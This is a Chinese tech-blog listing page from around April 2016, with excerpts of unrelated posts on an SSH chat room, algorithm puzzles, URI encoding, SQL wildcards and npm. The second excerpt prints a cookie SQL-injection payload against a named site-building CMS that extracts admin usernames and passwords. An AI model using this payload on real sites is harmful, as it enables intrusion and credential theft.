直接上代码了,注释还算清晰,有问题欢迎提问指证。
为方便下载编译,代码都放到一个文件里了。
服务器是CentOS,客户端用的secureCRT。
/*
功能: 在同一台服务器上ssh登录的用户可以群聊(聊天室)
原理: 1、通过roomNo.来区分不同的房间或群组;
2、以roomNo.作为key来创建一块共享内存,来保存进入到该room的用户列表;
3、用户以ssh(或其它方式)...
分类:
其他好文 时间:
2016-04-19 17:34:46
阅读次数:
241
启航企业建站系统 cookie注入漏洞通杀所有版本直接上exploit:javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admi ...
分类:
其他好文 时间:
2016-04-18 01:06:20
阅读次数:
2280
Red and Black Problem Description There is a rectangular room, covered with square tiles. Each tile is colored either red or black. A man is standing ...
分类:
其他好文 时间:
2016-04-17 20:33:16
阅读次数:
157
传送门 时间限制:10000ms 单点时限:1000ms 内存限制:256MB 描述 Finally, you come to the interview room. You know that a Microsoft interviewer is in the room though the do ...
分类:
其他好文 时间:
2016-04-17 13:01:23
阅读次数:
251
函数 描述encodeURI() 把字符串编码为 URIencodeURIComponent() 把字符串编码为 URI 组件escape() 对字符串进行编码 上面是查询来自w3school的资料。那么三者之间有什么区别呢,请容我测试测试。 复制代码 代码如下: var str = "http:/ ...
分类:
Web程序 时间:
2016-04-17 11:41:55
阅读次数:
194
一、通配符
通配符描述示例
%:匹配包含零个或更多字符的任意字符串。WHERE title LIKE '%computer%' 将查找处于书名任意位置的包含单词 computer 的所有书名。
_(下划线):匹配任何单个字符。WHERE au_fname LIKE '_ean' 将查找以 ean 结尾的所有 4 个字母的名字(Dean、Sean 等)。...
分类:
数据库 时间:
2016-04-16 19:32:53
阅读次数:
291
Problem Description There is a rectangular room, covered with square tiles. Each tile is colored either red or black. A man is standing on a black til ...
分类:
其他好文 时间:
2016-04-15 19:56:05
阅读次数:
140
这里,我们接着上一小节2.6留下的问题:如果要查询的字符串中含有“_”或“%”,又该怎样处理呢? 开始今天的学习。
2.7 如何使用转义(escape)操作符
可以是用个转义(escape)关键字来完成此任务。为了进行练习,我们必须先创建一个临时的表,之后再往该表中插入1行记录,其包含通配符。可能您现在还可能十分不理解例2-13和例2-14的SQL语句。没有问题,您只要照着输入就可以了。
...
分类:
数据库 时间:
2016-04-15 02:18:12
阅读次数:
272
Ducks have started mysteriously appearing in your room. All ducks make the same sound: "quack". Each duck makes the sound one or more times, one after another. For example, valid sounds for a single duck are "quack", "quackquackquackquack", "quackquack", e...
分类:
其他好文 时间:
2016-04-15 02:17:44
阅读次数:
273
E:\nodejs>npm install -g expressexpress@4.13.4 C:\Users\Administrator\AppData\Roaming\npm\node_modules\express├── escape-html@1.0.3├── array-flatten@1 ...
分类:
其他好文 时间:
2016-04-11 20:18:57
阅读次数:
161